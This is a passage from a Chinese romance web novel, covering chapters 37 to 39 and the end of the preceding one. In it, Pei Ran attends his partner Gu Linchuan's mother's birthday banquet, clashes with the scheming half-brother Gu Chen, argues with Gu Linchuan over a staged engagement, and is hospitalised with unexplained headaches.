桌子上是裴然喜欢的江南菜,清蒸带鱼,龙井虾仁,清炒时蔬,还有一份清炖狮子头。
香味扑鼻,裴然坐在餐桌前哇了一声,“我要开动啦。”
顾临川坐在他身侧,时不时给他夹菜,桌上大半食物都进了裴然的肚子。
裴然嘴里塞着大半块狮子头,没忘记自己的使命,含含糊糊地问:“吃完饭,我们能聊聊吗?”
“吃完有个聚会,你在家乖乖等我,回来我们聊。”顾临川捏了捏他的脸又说,“慢点吃,小心噎着。”
“什么聚会啊?我能一起去吗?”裴然有点依赖他,舍不得分开太久,“我不会捣乱的,如果不是太正式的话,带我去吧。”
顾临川思忖片刻,解释:“是我母亲的生日宴。”
裴然僵在原地,有些不好意思:“那我还是不去了吧,我怕……”
“怕什么?母亲没有怪过你。”顾临川吻了吻他的侧脸,“不带你一起是心疼你昨天晚上累了那么久,没有别的意思。”
裴然脸一红,埋头专心吃饭:“那不是都怪你。”
“嗯,怪我。”顾临川毫无负担地应下。
饭后,顾临川叫人送来了几套礼服,让裴然上身试试。
裴然还窝在阳台的摇椅里,嘴里不自信地念叨着:“阿姨真的希望我去吗?会不会太冒犯?要不还是不去了?”
顾临川句句回应:“她喜欢你比喜欢我还多,当然希望,不会冒犯,一起去。”顺便把人抱起来往客厅走。
虽然心里没底,但长辈的生日宴,裴然既然已经知道了,总归是要去参加的。
沙发旁边摆着好几件礼服,裴然挑挑拣拣,想找一个和顾临川搭配又不会喧宾夺主的衣服,手指一件一件地翻看着,却突然一顿。
里面居然还有一件女士抹胸露背晚礼服!
裴然吓得手一抖,左右环顾一圈,没看见顾临川的身影,应该是还在书房里忙。
这是什么意思?他拿过来给我穿的?还是拿错了?
可是这个怎么能穿出去呢?难道说是让他在家里穿着给顾临川看?
这也太羞耻了吧!
裴然盯着晚礼服发呆,脑海里想着不可描述的画面,半晌咽了咽口水,甩甩脑袋给那些想法摇出去了。
过了一会儿,书房的门开了,顾临川走过来环住他的腰,把头深深埋进他的颈项间:“挑好了吗?”
“嗯,就这件吧。”裴然羞涩万分,躲到卧室里去换衣服。
顾临川怀里一空,挑眉跟上去,倚靠在门边,静静地等着。
裴然是真的瘦了很多,从前合身的衣服尺码如今穿在身上总觉空落落的,像是一阵风来都会吹走。
顾临川简直心疼的要命,但是当裴然笑嘻嘻地站在他面前问他好看吗的时候,他拉着他的手说:“好看,你最好看。”
裴然松了一口气,至少在见长辈之前,形象不会太掉分。
宴会开始前,裴然先回了一趟工作室,去取生日礼物。
是一件蓝宝石项链,他亲手设计的,不算太过张扬,主石是一颗矢车菊蓝蓝宝石,颜色清透如朗朗晴空,造型是极简的水滴弧形,线条柔和温柔。
这样的宝石,拿来衬聂女士再合适不过。
顾临川没叫司机来接,而是自己开车。
途中,裴然拿手机偷偷拍他,打算发给远在大洋彼岸的妈妈看,告诉她自己已经跟顾临川和好了。
谁料,手机忘记关闭声音,发出咔擦一声声响,裴然瞪着大眼,缩缩肩膀往后撤。
不出所料地听到了顾临川的轻笑,不算太大,但很清楚。
裴然羞恼,“你笑什么?我不能拍吗?”
“当然可以。”顾临川没再继续逗他,“发给谁?”
“发给我妈妈看,她已经醒过来了,而且很想你。”裴然漾起一抹笑,低头把照片发过去,隔着时差对面还没有回复,他就先把手机收起来,侧过头盯着他半晌,“有空了,你会和我一起去看她吗?”
顾临川抽空揉了揉他脑袋,防止他胡思乱想:“当然。”
车子停下,顾临川把钥匙交给管家去泊车,自己则是牵着裴然的手往里面走。
聂玥女士的生日宴会算是过年期间能攀上顾家的唯一途径,所以尽管聂女士要求一切从简,宴会上还是来了不少人。
无数豪门权贵举杯换盏,交谈甚欢,觥筹交错间不少熟悉面孔。
裴然有些紧张,想松开身侧之人的手,却被越握越紧。
“不要怕,一切有我在。”顾临川在他耳畔轻声说。
“你不是和妍宜订婚吗?我们这样会不会不太好,他们肯定会误会的。”裴然挣脱不掉,干脆把手往身后藏,“而且在场很多熟人,他们可能还记得我,要不还是松开吧?”
说话间,不远处枚烨和戚贺昀发现两人的身影,已经慢慢朝这边走来了。
戚贺昀走在最前,显然很高兴的模样,“裴裴!咕咕!”
情急之下,裴然只好用力甩开他的手,迎面上去打招呼:“贺昀,枚烨,好久不见。”
戚贺昀亲亲热热地和裴然抱在一起,“裴裴,想死你了我,过年都找不到你。”
枚烨点头示意,随后目光转向裴然身后一脸黑线的顾临川,挑眉无声地询问。
枚烨:什么意思?说开了?
顾临川:很明显,是的。
枚烨勾唇,视线看向他的手:刚刚怎么把你手松开了?
顾临川:太爱了,担心我。怎么?
枚烨嘴角抽搐:行。
两人你来我往的眼神交流结束,戚贺昀还拉着裴然的手絮絮叨叨,枚烨率先上手,把人往后拽。
顾临川也上前一步站在两人中间:“寒暄的话稍后讲,先去找母亲吧。”
戚贺昀一拍脑门,差点忘记今天的大事:“伯母在三楼是不是?裴裴我们
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一起走。”
戚贺昀揽肩拉人的动作也熟练,三两下便把顾临川和枚烨落在身后,两人对视一眼,皆是无奈。
一路上,戚贺昀早就注意到了裴然手里的礼物袋,有些好奇:“裴裴,这是你为伯母准备的生日礼物吗?”
“是啊。”裴然见他实在好奇得紧,便拿出手机给他看预览图,“你觉得怎么样?”
“太漂亮了!我觉得非常好。”戚贺昀轻呼,“裴裴你真用心,伯母和咕咕真有福气。”
说完戚贺昀挤眉弄眼地朝身后望去,试图和顾临川取得共鸣,谁料顾临川全身心地关注着裴然,一个眼神也没给他。
戚贺昀:“……”
说话间几人已经走到了聂玥的休息间,敲了敲门,里面传来请进的回答,几人才推门而入。
聂玥今天化了淡妆,保养得体的脸上几乎看不出岁月的痕迹,褪去了职业装的包裹,整个人的气质显得很温婉。
顾临川走到母亲身边:“母亲。”
聂玥淡淡一笑:“你们来啦。”
“玥玥伯母。”
“聂夫人。”
最后是裴然,他将礼物递上去:“伯母,祝你生日快乐。”
聂玥看了一眼身旁的儿子,眼底闪过一丝惊讶,随后恢复如常,顺手接过礼物的同时,拉过裴然的手:“小然有心了。大家都坐吧,不用拘束。”
“有件事情,我还是要问清楚。我知道你们小辈都有自己的道理,但是年前那顿家宴上,小然不是顾辰的恋人吗?”聂玥商场上杀伐果断惯了,怕自己气势太过凌冽,尽可能地轻柔,“我想我需要一个合理的解释。”
裴然能感受到对方的温和,渐渐放松了些:“那晚是顾辰请求我陪他演一出戏,好让顾叔叔不要给他安排相亲,所以我才会承认,但是我至始至终喜欢的都只有顾临川一个人,从来没有变过。”
裴然表情认真,聂玥轻笑一声,拍了拍他的手背:“伯母相信你。”
“话说,顾辰是怎么回事?”聂玥侧身问顾临川,“我的确不在意他有没有野心,但这并不代表他可以挑衅到你面前。”
“尚在可控范围内,母亲不用担心。”顾临川说,“不过是跳梁小丑,算不得挑衅。”
“是吗?”聂玥睨他一眼,毫不犹豫地揭短,“跨年夜某人的脸臭的可以当年兽辟邪了,竟然没放在心上吗?”
顾临川无奈地耸肩,和裴然对视一眼,解释:“母亲太夸张。”
裴然心生内疚,笑容勉强,趴在顾临川肩头,闷声道:“那我要把你画下来,挂在床头。”
戚贺昀毫不客气地大笑起来,房间又染上欢乐的氛围。
临了笑罢,戚贺昀狠狠地戳上枚烨的腰,压低声音:“我不就几天没来?什么情况啊?”
枚烨勾着他的脖子,“想知道啊?”
“当然当然。”戚贺昀简直被吊的抓耳挠腮,“快告诉我吧。”
“求我啊。”枚烨仗着自己在角落没忍住注意,懒懒散散地开口,“说句好听的,我都告诉你。”
“妹妹你太讨厌!”戚贺昀这人吃软不吃硬,见状又捶了他一拳,“不告诉我算了,我去问裴裴。”
“回来。”枚烨把他拉回来,“我给你讲还不行吗?”
说完,枚烨凑在他耳边,将他不知道的事情简短的给他讲了一遍。
枚烨言简意赅,留下戚贺昀瞪着大眼独自消化这一切。
37.第 37 章
宴会正式开始后,聂玥作为主角不得不下楼迎客,顾临川作为她儿子以及顾氏集团代表一直陪伴在身侧。
母子俩如出一辙的面无表情从楼上走下来,穿越层层宾客,从侍应生托盘中取下一杯香槟,随性地站着,交流很少。
这副拒人于千里之外的姿态倒是劝退不少人,但并不妨碍有胆子大的上来敬酒,顾临川只淡淡瞥一眼,随后眼皮也不抬一下,神情恹恹。
这么几轮下来身边的人少了很多,聂玥心想着终于清静时,看见人群中一抹熟悉的身影,正朝他们走来。
“母亲,哥哥。”顾辰脸上挂着的是一如既往虚假且标准的微笑,“母亲生日快乐,您的礼物我已经准备好了,宴会结束之后会派人送到您的休息室。”
聂玥对这个私生子态度算得上平静,只要不触碰到她的底线,给他一口饭吃也未尝不可,毕竟他也没有选择出生的权力,上一辈的恩怨没必要找小辈撒气。
闻言,她正色瞧他一眼,“你也算有心了。对了,还是叫聂夫人吧,我实在不习惯这样的称呼。”
顾辰脸色一变:“好的,聂夫人。”
说完,聂玥便领着顾临川离开了,剩下不少宾客往这么瞧,眼底的鄙夷根本藏不住,但碍于他的面子,又不方便坦明。
顾辰紧咬着下唇,眼神扫视身边的人,拳头逐渐捏紧,总觉得他们不经意的窃窃私语都是在议论自己。
另一边,枚烨和戚贺昀早已被前来敬酒的人团团围住,裴然趁机溜了出来,挑了一块草莓蛋糕边走边吃。
“然哥。”
裴然心里一紧,僵硬着身子回头,果然看见带着几分幽怨的顾辰站在身后。
裴然下意识想逃,但又觉得两人之间说开就好了,犯不着这么难看,便走上前:“你怎么也来了?”
“聂夫人的生日会,我肯定要来的。”顾辰盯着他看,“然哥那天没有收到我的短信吗?”
裴然莫名心虚,假装忙碌地吃了一口蛋糕:“太忙了,实在没注意到消息,怎么了,你发了什么很重要的消息吗?”说完佯装急切地拿出手机,“急事怎么也不知道给我打电话呀?”
“我打了。”顾辰说,“但是你把我拉黑了。”
还有这回事?裴然显然已经忘记这一茬,大脑瞬间宕机,尴尬一笑,“是吗?搞错了吧?”
“然哥……”顾辰语气委屈。
“抱歉,我回英国处理了一些事情。”裴然叹气,“不是故意的。”
他实在不知道怎么面对顾辰了,换做从前,顾辰这般他肯定会心软的,但如今他只觉得后怕,眼前的小孩似乎并没有看上去的那么单纯。
狠下心来就此断交,他也做不到,毕竟这七年来的照顾和陪伴做不得假。
“是阿姨醒过来了吗?”顾辰问他。
裴然心中警钟拉响,神情有些严肃:“谁告诉你的?”
顾辰被吓到,一愣:“我自己猜的呀……你已经毕业了,回英国只能是因为阿姨的事情吧。”
裴然也没想到自己的反应这么大,当即有些脸热,想解释又不知道怎么说。
顾辰向前走了两步,似乎想去摸裴然的脸,但被他躲开了,他也不恼,顺势拿过他的蛋糕放在一旁,去牵他的手。
“你干什么?”裴然惊恐地朝四周望了望,想挣扎又不敢动作太大,“放开我。”
“我不放。”顾辰眼底一片猩红,手上力度不自觉放大,“我们已经订婚了,连牵手也不可以吗?”
“你疯了吧?”裴然低声斥责,“你比谁都清楚为什么订婚,我只是配合你演戏,你怎么还当真了?”
“然哥,你今天好漂亮啊……是因为见到了我哥吗?”顾辰凑上前,似乎很想吻他,但只是克制地贴近。
“顾辰!你清醒一点!”裴然很用力地挣脱了,用力在他脸上甩下一巴掌,洁白的脸上瞬间泛红。
这边闹得动静不小,不少宾客都凑过来围观这场闹剧。
“然然。”
裴然心里一紧,抬眼,顾临川站在十米开外望着自己,眼神危险,“到我身边来。”
此话一出,众人哗然,小声地议论着眼前的场面。
宾客们自发地让出一条路来,尽头顾临川与自己面对而立,他似乎正在和人谈事,身侧是聂夫人和他未婚妻宋妍宜。
宋妍宜对上裴然求救的眼神,张了张嘴,最终只是问了一句:“发生什么事了?”
裴然小跑着离开顾辰身边,走上前对聂夫人致歉:“很抱歉打扰到您的生日宴。”
聂玥视线在两人之间逡巡,最终摸了摸裴然的头,回答:“没关系,如果不舒服的话,可以到二楼休息室休息。”
“谢谢您,聂夫人。”裴然头也不回地逃走了。
顾临川盯着他的背影,微微眯起眼睛,身体里腾起一阵难捱的失重感,像是五脏六腑都错了位,呼吸的空气都烫人。
聂玥将宋妍宜挽着自己的手松开,放在顾临川的臂弯,提醒他:“注意分寸,不要让她失了颜面。”
宋妍宜垂着眼,“抱歉,再耽误你一会儿。”
顾临川没松开,而是转身又取下一杯香槟,对着面前目瞪口呆的合作商淡淡一笑:“年轻人的情债总是这么闹心。”
“是啊,年轻人嘛,爱玩,过几年就好咯。”合作商回过神来,笑着点头,“不过,顾总倒是深情,您和宋总真是一对璧人,般配得很啊。”
合作商本着拍马屁的姿态去的,却谁料一招拍在老虎屁股上的感觉,面前的两位皆是神情淡漠,隐隐可见几分凶相。
合作商缩了缩脖子,内心深深感慨,这圈子里都是顾总阴晴不定难以捉摸,很难讨好,最开始攀谈时他借着聂夫人脖子上的蓝宝石项链打开了话题。
一直交谈甚欢,连一旁的顾临川也给他几分好脸色,所以他对传言嗤之以鼻。
但此刻,他深感传言有其道理。
气氛凝固,气温骤降,不敢在二位身边多待,合作商夹着尾巴灰溜溜地离开了。
应付完宋家的几位长辈,宋妍宜作出一副身体不适的模样,走到人群中心向聂女士请辞。
聂女士:“既然这样,便让临川陪你一起,到二楼休息一会儿吧。”
“谢谢伯母。”
说完,“身体不适”的宋妍宜竟然还落后一步,顾临川转瞬便消失在旋转楼梯处。
宋妍宜跟在他身后,“我就在隔壁,聊完敲门叫我就行。”
顾临川点头,随即去敲裴然的房门,片刻后门打开,裴然探出脑袋,先和
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还未来得及进门的宋妍宜打了个招呼,随后才拉着顾临川进门。
刚关上门,身后的男人就欺身而上,将他困在身前,抓着他的手腕放在头顶,另一只手抬起他的下巴:“躲什么?”
“抱歉,不是故意不听你话的。”裴然觉察到他的不悦,环住他的腰,诚恳地说,“我不想让他们议论你。”
顾临川无言,片刻后抱起他走向浴室,牵起他的手伸向洗手台。
从指腹到手腕,每一寸皮肤都被清水洗净,加上有些用力的摩擦,洗完后,裴然感觉眼前这个红红的手掌已经不属于自己了。
顾临川终于心满意足,扯过毛巾一点一点给他擦干,“很脏,不要碰他。”
裴然反应过来,解释说:“我刚刚是在打他。”
打他需要靠这么近吗?需要手牵手吗?
失而复得过后,顾临川的占有欲有些病态,只需裴然一点偏离,便可使他失控。
看着掌心中指节分明,关节处因为暴力揉搓而泛红的手指,顾临川抬头对上爱人关切的双眼,缓过神来,“疼吗?”
裴然还以为他是在问顾辰,他想了想,那巴掌不算用力,但也没心软,犹疑不决地说:“我打得有点重,他脸应该是疼的,当时着急,没收住力气,会有麻烦吗?”
顾临川听完反应了两秒,眼底染上笑意:“我是问你的手,疼不疼?”
“不疼。”裴然扬起一抹笑,摇头。
“疼才会长记性。”
手指被顾临川放在唇边轻轻地撕咬,像大型猫科动物在逗弄自己的猎物,话虽那样说,却也只是时不时传来酥麻的痛感。
“顾临川。”
男人正轻咬着他的腕骨,试图在上面留下痕迹,闻言顿了顿。
“你不高兴了吗?”裴然捉摸不透他的心思,“你很在意他和我的关系,是吗?”
他试探地问出这句话,从前的顾临川开心便笑,不高兴便苦着脸求安慰,但如今,面前人喜怒不形于色,就连好不容易表露出来的情绪,或许也只是伪装。
裴然不禁有些失落。
“他不配。”顾临川如实回答,但沉默片刻,坦诚地告诉他自己的心情,“我不喜欢他碰你,不喜欢你们站在一起,我叫你时,你没有回应我,我也不喜欢。”
“是我没有处理好这件事情,抱歉,让你难过了。”裴然说,“你不用跟任何人比较,你在我心中最好。”
“好乖。”顾临川问他,“会觉得讨厌吗?因为一点小事,我情绪很不好。”
“哪里是小事?”裴然摇摇头,“和你有关的,对我来说都很重要。”
说完,裴然紧紧贴上顾临川的脸颊,亲昵地蹭了蹭,是在安慰,也是在宣誓主权。
离别像是一场绵长的阴雨季,即使经过两日的亲密也无法消解这七年的分别,破镜无法重圆,裂隙一旦产生就会永远存在。
裴然感到深深地悲戚,如今的顾临川安全感缺失,一切都只是表面上的温馨与平静。
方才那番话只能短暂的安抚他的情绪,不能治疗根本的心病。
他已经不信自己对他的爱了。
这份不信任像是利刃一般狠狠扎在裴然心间,脆弱的心脏喷涌出血液,缓缓汇聚后,化作一滴滚烫的眼泪。
38.第 38 章
宋妍宜在休息室整理着妆容,又在沙发边翻阅了几本杂志,最后抬手看了看手表。
意料之中的敲门声随之响起,拉开门顾临川仍面无表情,但宋妍宜能感觉到,他心情还不错。
宋妍宜把手中的杂志放下,上前挽住他的胳膊,和他一起往楼下走:“看起来聊得还不错。”
“他一直这样,很依着我。”顾临川回她。
“禁止在我面前撒狗粮。”宋妍宜笑容苦涩,“人人皆知的秘密也没必要重复。”
“是的。”顾临川深觉有理,“我很抱歉。”
两人又回到宴会中,扮演好各自的角色。
宴会持续到深夜,虽然主角聂玥在致辞结束以后便离开,但接下来还有一场舞会,攀附权贵的最佳机会,没人会选择放弃。
作为主角的顾临川和宋妍宜本应该上场跳开场舞,但临近开始,顾临川却突然消失了。
宋妍宜听到耳边的窃窃私语和家族长辈看似殷切地关怀,心生恨意又迅速压下,冷静过后她朝众人解释。
最终,由她和顾氏集团的另一位代表顾辰完成了这支舞蹈。
舞会开始,伴随着轻盈优雅的钢琴曲,大家纷纷寻找到心仪的舞伴,牵起对方的手进入人群翩翩起舞。
宋妍宜感激地看向救场的顾辰:“多谢。”
“不用谢。”顾辰摇了摇头,和她一同往楼上走,“妍宜姐,我哥他不是故意要当着这么多人的面给你难堪的。”
“嗯,没关系的。”宋妍宜心不在焉地回他。
“其实今天也怪我,是我没有看好我的未婚夫,让他耽误我哥了。”顾辰抱歉地说,“你们婚期将近,如果妍宜姐不想出什么意外的话,还是跟我哥好好聊聊吧,毕竟像今晚的事情,一次还好,发生多了,恐怕……”
宋妍宜脚步一顿,侧头有些意外地看着他,后知后觉他的真正意思,勾唇笑起来:“小辰,我想你误会了什么。”
“他离开有提前知会我,而且这个场面也并不难堪,你来了我很感激,但是你没来,我也有底气独自完成。”宋妍宜眯起眼睛,有意警告他,“做好你该做的事情,老老实实的你哥保你衣食无忧,懂吗?”
顾辰作出慌乱地模样,摆摆手替自己解释:“我不是那个意思,我只是担心你们。”
“谢谢,但是就不劳你费心了。”宋妍宜拍了拍他的肩膀,转身离去,末了留下一句轻飘飘的警告,“希望你清楚,药可以乱吃话不能乱说,未婚夫的名号还请你斟酌之后再说出口。”
顾辰低着头,溢出一句咬牙切齿的“是”。
人影很快消失在角落,他握拳猛地砸向一旁的房门,发出沉重的闷响。
不甘和恨意瞬间将他吞没,顾辰恶狠狠地心想,凭什么,凭什么他顾临川什么都有,而自己却一无所有,甚至只能像一个寄生虫一般等待着施舍。
从小到大,他是阴沟里的老鼠,人人喊打的私生子,而顾临川是天之骄子,光鲜亮丽的少爷。
分明他也很努力,学习长相和天赋,哪点比他顾临川差?
就因为他血液里流淌着的是小三的血液,是肮脏的,不堪入目的,所以他天生来就带着罪恶,他必须一生一世受人唾骂,被人踩在脚底下。
而他顾临川,从一生下来就拥有常人无法拥有的一切,财富地位感情,应有尽有。
嫉妒之情从见到顾临川的第一眼起,就如同附骨的蛆虫一般,时时刻刻令他抓心挠肝地想毁掉他。
夺走他所有珍爱之物,成为他活着的唯一目标,让高高在上的神狠狠跌落神坛,一定很带感。
顾辰呼出一口滚烫的气息,想起刚才宋妍宜的警告,又不受控制地感到抓狂。
他真是好命,有一个爱他入骨的裴然还不够,连这个蠢女人都对他如此忠心耿耿,分明自身都难保了。
手机铃声响起,他瞥了一眼,等到即将自动挂断时才接起,“什么事?”
“这么晚才接,被你嫂子扇巴掌打傻了?”对面的人语气吊儿郎当。
顾辰沉声:“……宋致远你不会说话,我可以让你永远也说不了话。”
“别别,别着急嘛。”宋致远并不理会他的怒意,“我那个蠢妹妹还好吗?你今天晚上闹着一出可算是把她面子丢光了啊,啧啧,让我想想,未婚夫当众发怒,竟是为了前任撑腰。”
顾辰揉了揉眉心,对这位合作伙伴感到智商堪忧,“就算顾临川不跟她结婚,能给她的资源和助力,也能让她与你抗衡,你到底在高兴什么?”
“那又如何?”宋致远不甚在意地轻呵一声,“要不是爷爷偏心,能轮到她插手公司?”
“行了。”顾辰耐心有限,打断他的话,“让你办的事情,弄好了吗?”
“快了。”宋致远这些天没少为这件事情发愁,“你怎么不亲自去做,英国不是你的地盘吗?”
“你再问这种有辱智商的蠢话,我想我要重新考虑和你的合作了。”顾辰如实说。
电话挂断,顾辰看着黑屏的手机倒映出自己狰狞的面孔,随即又恢复到善解人意的微笑,转身下楼扎进人堆。
裴然感到很纠结和混乱。
他独自站在阳台上吹风,桌子上摆着一本《百年孤独》,却怎么也读不进去。
他想起宋妍宜求助自己时无助的眼神,和顾临川浓厚的不安,两相对立,吵得他头疼。
他答应过她,会帮忙劝顾临川和她结婚,毕竟只是一场做戏的婚礼,放在以前也许撒撒娇就过去了。
但是如今,他甚至没有把握在说完这个话题之后,顾临川会不会对他失望。
明明才刚刚和好,他还没来得及要安抚顾临川漂泊多年的孤独的灵魂,就要将他推给其他人。
他真是一个非常不称职的爱人,裴然垂头丧气地想着。
“在想什么?”顾临川从身后拥住他,用宽大的大衣将他藏进怀里,“白天不是说有话跟我讲吗?”
“嗯,是有事情。”裴然心不在焉。
顾临川不知道从哪里又拿出一条围巾和帽子,把他完整地包裹起来。
“关于你和妍宜的婚事,我想和你谈谈。”裴然从他的大衣里抬起头,安抚地吻了吻他的下巴,“答应我,如果我说的话让你不高兴,及时告诉我好吗?”
“婚事只是谣言,宋爷爷身子不好,我和妍宜联姻的消息能稳固她的地位,仅此而已,你不用担心。”顾临川托起他,坐在一旁的摇椅上,“除了必要的活动,我跟她不会有多余的接触。”
“不、我不担心……”裴然脖子一缩,感觉到气氛有些危险,赶紧改口,“我的意思是,我相信你,你最爱我了。但是我看最近,有传言说,婚约即将被解除了,会不会影响到妍宜啊?”
“不是谣言。”顾临川说,“我的确有这个意愿。”
“啊?”裴然咽了咽口水,
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“为什么啊?”
顾临川察觉到怀里人的试探,以及言语中的抗拒,皱了眉。
他反问:“你不愿意吗?”
“嗯,我是觉得,妍宜挺难过的。”裴然放缓了语气,“而且我也不在乎这些名分上的东西,如果这份婚约能帮助到她的话,就不要解除了吧?”
顾临川:“……”
裴然抿着唇,仍由沉默蔓延。
“然然。”顾临川出声,大手抚上他的脖颈,试图让内心平静,“谁告诉你的这些?”
“没有谁告诉我,是我自己在宴会上听来的。”裴然撒谎道。
“不说也行,我可以亲自去问问宋妍宜前几天飞往英国的机票,是什么意思。”顾临川轻抚他的发尾,语气淡淡。
“不要!”裴然惊呼出声,还是承认了,“是她曾向我透露过。”
裴然下意识的抗拒刺痛了顾临川,他本来不想向他展示自己阴暗的一面,但裴然总是不听话。
他说:“为什么要撒谎?那天在咖啡馆,你们聊了什么?”
咖啡馆?裴然心里一紧,“你在监视我?”
“然然,我只是不放心。”顾临川盯着他。
裴然心情复杂,他并不抗拒被顾临川用这种近乎病态的方式管着,但是他不想被蒙在鼓里,什么也不知道。
转念一想,自己不是也瞒了他很多事情吗?论道理来说,也是自己做的更过分一点。
“她找我帮忙,告诉了我一些真相,所以我才有勇气回国来找你。”裴然叹了口气,“不要怪她好吗?我很高兴能听到这些事情,不然,你对我的爱我都一无所知,也太混蛋了。”
顾临川安静几秒,若有所思:“她告诉你真相,作为交换,你来当她的说客?”
虽然这句话听着怪怪的,但是也没错,于是裴然点了点头。
顾临川继续追问:“不止吧,除了不退婚,没有别的要求了么?”
“……有。”裴然一咬牙,干脆全盘托出,“能不能和她办一场订婚宴。”
顾临川:“……”
裴然也知道自己这样说很奇怪,对着自己的爱人说,你去和别人结婚吧,一起穿婚纱,一起宣誓,一起交换对戒,我根本就不在乎这些。
仍谁听了心里也不会好过。
往好了想,这是爱人对自己的信任,毕竟能放任自己和别人订婚,心里还能不别扭的。
往坏了想,这不是爱人对自己的不在乎么?
裴然张了张嘴,想为自己辩解一二,“只是一场假婚礼,我们心里都清楚,不算数的。”
“所以呢?”顾临川语气冷漠,“假的婚礼,你就可以把我往外推了吗?”
这幅神情裴然简直太熟悉,眉头微皱,眼神冰冷,唇角也微微向下,几乎快成为他的噩梦。
“不、不是的。”裴然呼吸急促,磕磕绊绊地解释,“我没有那个意思,我只是想帮助她……你不要这样和我讲话好不好?我好难受。”
又来了,顾临川闭上双眼,分明是他在欺负自己,偏生又摆出可怜的姿态,祈求怜惜。
“裴然。”顾临川睁开眼,带着几分茫然,“你真的爱我吗?”
说完,他用吻堵住了裴然的唇,答案是否,他并不在意。
没关系的,他的爱人只是有点笨,不懂的如何爱人,他多多包容,教教他就好了。
被推开的话,也没关系的。
39.第 39 章
回去的路上,两人皆是无言,这个话题就这么被搁置下来。
回到家里,照旧是顾临川把正在画稿的他从沙发里抱出来,洗漱台前摆着挤好的牙膏,只是男人变得更沉默,不和他讲话了。
见他开始洗漱,便安静地退了出去。
裴然有些慌了,迅速洗漱完,跑到书房找他。
“还在忙吗?”裴然抱着枕头站在门口,生硬地问,“这么晚了,要不要早点休息。”
从裴然回国后,两人便默契地同床共枕,没人问为什么,也没人觉得不合理,毕竟他们本来就是这样的。
裴然的睡眠障碍也得到了极大的缓解。
“还有工作,你先睡吧。”顾临川从众多文件中抬起头,瞥见他白净的双脚踩在地板上,不自觉皱眉,“怎么又不穿鞋?”
“因为我知道冬天凉,我光着脚,你会心疼我,会跟我多说几句话。”裴然扯出一抹笑,带着计谋得逞的狡黠,“我说的对吗?”
男人无奈,起身几步便走到他面前,微微俯身便将他打横抱起来,往卧室走去。
“对。”
顾临川弯腰把他放在床上,捏好被子后便抽手起身,衣摆却被拉住。
“等一下。”裴然着急地拉住他,继续得寸进尺,“我不想一个人睡,你陪我一起好吗?”
顾临川:“……”
“求求你,我想要你陪我。”裴然手脚并用地趴在他身上,眼眸含情地望着他。
顾临川对于这套攻势完全没有招架的办法,只好掀开被子,躺在他身侧,甚至和往常一样将他揽进怀里,在额头落下晚安吻:“睡吧。”
分明是熟悉的体温和熟悉的气息,但裴然却觉得怎么也暖和不起来,身上跟冰块一样冷。
他拼命往顾临川怀里挤,找到一个舒服的姿势后,轻声开口:“晚上的事情,你还没有听我讲完……”
顾临川却突然打断他:“乖乖睡觉。”
好吧,尝试和好第一步失败,裴然很沮丧。
但很快,他重振旗鼓,凑上前继续问他:“你的问题,我还没有回答呀,我……”
“然然。”顾临川再一次打断,尾音甚至带着几分颤抖,“我随便问的,不回答也没关系,睡觉好吗?”
裴然愣住了,这份情绪是害怕吗?
百思不得其解,但之后,裴然没有再开口了,他只觉得混乱,七年太长了,长到他们都已经忘记了爱的情感,只剩下本能。
归根结底,是顾临川对他的爱不信任……
想着想着,两人都陷入了沉睡。
半夜,裴然头疼毫无征兆地发作起来,他无助地抱着头,看着身旁熟睡的男人,咬着牙强忍。
一会儿就过去了,裴然心想。
谁料,越到后半夜,痛疼更甚,几乎快要裂开一般。
裴然发出微弱的呻吟,想翻身下床,却不小心从床上掉下去,发出咚的一声。
顾临川瞬间惊醒,想抓住他却落了空。
“然然?”顾临川迅速下床,感受到他的颤抖,把人抱紧,“怎么了?身体不舒服吗?”
“疼……好疼……我好难受……”裴然紧闭的双眼止不住的落泪,语气里充满着害怕,“我快疼死了是不是?”
这一次的疼痛比往常来的更猛烈,裴然连呼吸都困难。
从前只有一个人,再疼也只能打碎了往肚子里咽,如今他卸下所有的坚强,毫无形象地展示他的痛苦。
“不会的,不会死。”顾临川语气笃定,抓过他自虐的手,让他掐自己,“不怕,有我在。”
他把裴然抱起来,一边用手指轻轻揉着他的太阳穴,另一边迅速为他把衣服穿好,随即带着他一路赶往医院。
到医院后,裴然已经疼得浑身冒冷汗说胡话了。
幸好之前接待过裴然的那位医生在医院值夜班,很快便接手了裴然,判断他的情况后给他打了止痛药和镇静剂。
药效起作用后,裴然才勉强睡下。
安顿好一切,顾临川连带着所有的医护人员才松了一口气,这时候人群中一位护士说:“顾先生,您就穿这么点,不冷吗?”
众人这才发现,顾临川身上只穿了一件单薄的睡衣,仔细看时,他的手指都在微微颤抖。
于是值班的医生便提议:“我把值班室那件大衣拿来给你穿吧,别生病了。”
披上大衣,顾临川便朝病房走去,军绿色的毛绒大衣很快便让人温暖起来,他握住裴然的手,把热量传递给他。
之后,他又去值班室找护士小姐姐借了一个暖手宝,忙活几趟下来,裴然的手掌才暖起来。
顾临川一夜没睡,就这么坐在病床前等到天亮。
病床上的人睡得也不安稳,睁开眼后晃了晃脑袋,疼痛感已经消减下去,他却仍然觉得晕乎。
“对不起,让你担心了。”和他对视的第一眼,裴然虚弱地说。
顾临川沉默着,摇了摇头,又问他:“还难受吗?”
“不难受了。”裴然说,“你看起来很累,我昨天晚上很折腾人对吧。”
说完,他作势要起身,“走吧,出院回家,你回去好好睡一觉。”
顾临川拦住他,把他重新塞回被子里:“医生说要再观察一早上,没事的,我不困。”
一时间,病房陷入了一种莫名奇妙的宁静,分明两人都欲言又止,却偏偏谁也不说话,只是看看对方,又移开视线,随后又看看对方。
几次来回过后,裴然先认输,主动开口:“昨天晚上的事情,我想了很多,是我太冒犯了,我不应该在不尊重你的意愿的前提下,就对你这样要求,如果你实在不愿意的话,就算了吧。”
裴然明白他的不安,并且对自己的行为进行了深刻反思,怎么能不把恋人放在前面呢?
设身处地的想,如果是顾临川这样对他说,他也会很伤心的。
顾临川盯着他的眼睛,几秒过后,他说:“没有冒犯,你可以要求我。我的意思是,我答应你,和宋妍宜举行形式婚约。”
“啊?”裴然还以为自己听错了,下意识地反问,“为什么”
“你希望我这样做,不是吗?”顾临川不答反问,“你高兴吗?”
是……他是希望顾临川答应这件事情,但看着这样的顾临川,他却无法说出高兴两个字,张了张嘴,最终什么也没说。
顾临川只当他是默认了,便不再说这个话题。
医生来给裴然做检查时,顾临川借口打电话,去了医院的天台。
昨天一夜,他想了很多。
本来面对这个近乎胡闹的要求,他的态度是坚决抵制,一直到裴然放弃这个念头。
但裴然突然的头疼晕倒,瞬间让
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他慌了神。
“患者的状态很奇怪,查不出任何病因。”
